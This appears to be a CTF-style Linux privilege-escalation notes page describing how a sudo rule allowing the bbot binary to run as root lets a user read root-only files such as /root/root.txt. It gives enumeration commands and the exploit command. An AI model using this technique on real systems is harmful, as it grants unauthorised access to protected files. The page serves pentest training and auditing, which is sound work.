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# Sudo bbot Binary - Linux Privilege Escalation
Sudo (bbot Binary) notes for Linux privilege escalation, with enumeration steps, exploitation examples, and reporting-focused validation.
## What It Is
Sudoers privilege escalation starts with the commands a user can run through `sudo`. Misconfigured binaries, unsafe script arguments, symlink handling, and vulnerable sudo versions can turn limited sudo rights into a root shell. This specific page focuses on **Sudo (bbot Binary)** and keeps the exploitation flow practical: identify the condition, validate it safely, then run the smallest payload needed to prove impact.
## Enumeration
Start by confirming the local context and the exact misconfiguration before running the exploit path.
```bash
sudo -l
sudo --version
```
## Examples
### Sudo - bbot (binary)
Audit of fees sudo:
```bash
sudo -l
```
The user can run `/usr/local/bin/bbot` in root.
Content of `/usr/local/bin/bbot`:
```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
sys.exit(main())
```
### Exploitation:
This script simply transmits arguments to the main function of `bbot`. Since we can control the arguments provided, we can use a feature of `bbot` to read any file — including those that are accessible only by user **root**.
After consulting the help or documentation for using `bbot`, we identified options for specifying a target file and an output directory:
```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```
**Explication :**
* `-t /root/root.txt`: sets the target file to be processed.
* `-o /tmp/root`: specifies the output directory (where the results will be stored).
* `-d`: Enables debugging mode, in case additional information is needed.
As the script runs with the **root** privileges and no validation of the inputs is performed, this allows us to read arbitrary files, including the final file containing the **root flag**.
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